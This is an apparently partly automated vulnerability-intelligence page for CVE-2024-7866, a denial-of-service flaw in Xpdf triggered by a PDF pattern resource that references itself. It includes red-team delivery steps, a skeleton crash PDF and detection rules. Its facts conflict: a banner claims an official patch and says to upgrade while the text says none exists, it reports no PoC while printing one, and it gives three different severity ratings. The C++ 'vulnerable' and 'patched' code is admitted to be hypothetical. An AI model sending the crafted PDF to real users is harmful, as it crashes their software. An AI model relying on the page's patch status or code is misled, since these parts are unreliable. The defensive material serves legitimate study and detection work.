☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-7866

CVE-2024-7866 Stack Overflow in Xpdf
📅 PUBLISHED: 2024-08-15 19:50 UTC 🔄 UPDATED: 2026-09-23 20:37 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
2.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-7866 is a denial-of-service vulnerability in Xpdf versions 4.05 and earlier. The flaw resides in the PDF object parsing logic when handling pattern resources. A specially crafted PDF file containing a circular reference (loop) in a pattern resource triggers infinite recursion during parsing, leading to a stack overflow and application crash. This vulnerability can be exploited remotely by convincing a user to open a malicious PDF file, resulting in a denial-of-service condition. No public proof-of-concept or exploit code is currently available, and no official patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No vector assigned by NVD)
  • Attack Vector (AV): Local (requires user interaction to open a file)
  • Attack Complexity (AC): Low
  • Privileges Required (PR): None
  • User Interaction (UI): Required (user must open the malicious PDF)
  • Scope (S): Unchanged
  • Confidentiality Impact (C): None
  • Integrity Impact (I): None
  • Availability Impact (A): High (application crash)
  • Threat Level: Medium (denial-of-service, no data compromise)

Deep Dive & Mechanics

The vulnerability is rooted in Xpdf's handling of PDF pattern resources. In PDF, patterns can be defined as tiling or shading patterns, and they may reference other resources. When Xpdf parses a pattern resource, it recursively resolves any referenced objects. If a pattern resource contains a circular reference (e.g., Pattern A references Pattern B, which references Pattern A), the parser enters an infinite recursion loop. Each recursive call consumes stack space, eventually causing a stack overflow and crashing the application.

The vulnerable code is in the XRef::fetch() or similar object resolution functions that do not implement cycle detection. The recursion depth is unbounded, leading to a stack overflow.

Vulnerable vs. Patched Code

Vulnerable Code (Xpdf 4.05 and earlier):

// Simplified example of recursive object resolution without cycle detection
Object* XRef::fetch(int num, int gen) {
    // ... lookup object in cross-reference table ...
    Object* obj = getObject(num, gen);
    if (obj->isRef()) {
        // Recursively resolve reference without checking for cycles
        return fetch(obj->getRefNum(), obj->getRefGen());
    }
    return obj;
}

Patched Code (Hypothetical fix):

// Patched version with cycle detection using a visited set
Object* XRef::fetch(int num, int gen, std::set<std::pair<int,int>>& visited) {
    auto key = std::make_pair(num, gen);
    if (visited.count(key)) {
        // Cycle detected, return error or null
        return nullptr;
    }
    visited.insert(key);
    // ... lookup object ...
    Object* obj = getObject(num, gen);
    if (obj->isRef()) {
        return fetch(obj->getRefNum(), obj->getRefGen(), visited);
    }
    return obj;
}

Exploitation & Lab Setup

Red Team

  1. Crafting the Malicious PDF: Create a PDF file with a pattern resource that contains a circular reference. For example, define a tiling pattern that references itself as a resource.
  2. Delivery: Send the PDF via email, web download, or other means to the target.
  3. Trigger: The victim opens the PDF with Xpdf (version 4.05 or earlier). The application will crash due to stack overflow.

Example PDF structure (conceptual):

%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj

2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /Pattern << /P1 5 0 R >> >> >>
endobj

4 0 obj
<< /Length 44 >>
stream
q /Pattern cs /P1 scn 0 0 100 100 re f Q
endstream
endobj

5 0 obj
<< /Type /Pattern /PatternType 1 /PaintType 1 /TilingType 1 /BBox [0 0 10 10] /XStep 10 /YStep 10 /Resources << /Pattern << /P1 5 0 R >> >> /Length 10 >>
stream
0 0 10 10 re f
endstream
endobj
xref
0 6
...
trailer
<< /Size 6 /Root 1 0 R >>
startxref
...
%%EOF

Blue Team

  1. Detection: Monitor for crashes of Xpdf processes. Use file integrity monitoring to detect malicious PDFs.
  2. Prevention: Restrict execution of Xpdf to trusted users only. Use application whitelisting.
  3. Mitigation: If possible, apply a patch from the vendor or use an alternative PDF viewer (e.g., MuPDF, Evince) until a fix is available.

Indicators of Compromise (IOCs)

  • File Hashes: (No known samples yet)
  • Network Indicators: None (local file-based exploit)
  • Process Anomalies: Xpdf process crash with stack overflow error
  • Log Entries: Application crash logs showing SIGSEGV or stack overflow in Xpdf

Detection Engineering

YARA Rule

rule CVE_2024_7866_Xpdf_PDF_Loop {
    meta:
        description = "Detects PDF files with circular pattern resource references (CVE-2024-7866)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7866"
    strings:
        $pattern_ref = /\/Pattern\s*<<\s*\/P\d+\s+\d+\s+\d+\s+R\s*>>/ nocase
        $self_ref = /\/P\d+\s+\d+\s+\d+\s+R.*\/P\d+\s+\d+\s+\d+\s+R/ nocase
    condition:
        $pattern_ref and $self_ref
}

Sigma Rule

title: Xpdf Stack Overflow via Malicious PDF
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Xpdf process crashes due to stack overflow from crafted PDF
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\xpdf.exe'
        CommandLine|contains: '.pdf'
    condition: selection
falsepositives:
    - Legitimate large PDFs may cause crashes
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7866 Xpdf PDF Pattern Loop"; flow:to_server,established; content:"%PDF"; depth:4; content:"/Pattern"; distance:0; within:100; content:"/P"; distance:0; within:10; reference:url,nvd.nist.gov/vuln/detail/CVE-2024-7866; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Vendor Patch: No official patch available. Monitor Xpdf website for updates.
  2. Workaround: Use an alternative PDF viewer such as MuPDF, Evince, or Adobe Acrobat Reader.
  3. Mitigation: If Xpdf must be used, restrict its execution to trusted users and avoid opening PDFs from untrusted sources.
  4. Detection: Implement the YARA and Sigma rules above to detect malicious PDFs and crashes.
  5. Long-term: Consider migrating to a more actively maintained PDF library.

Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation is prohibited.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-7866/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.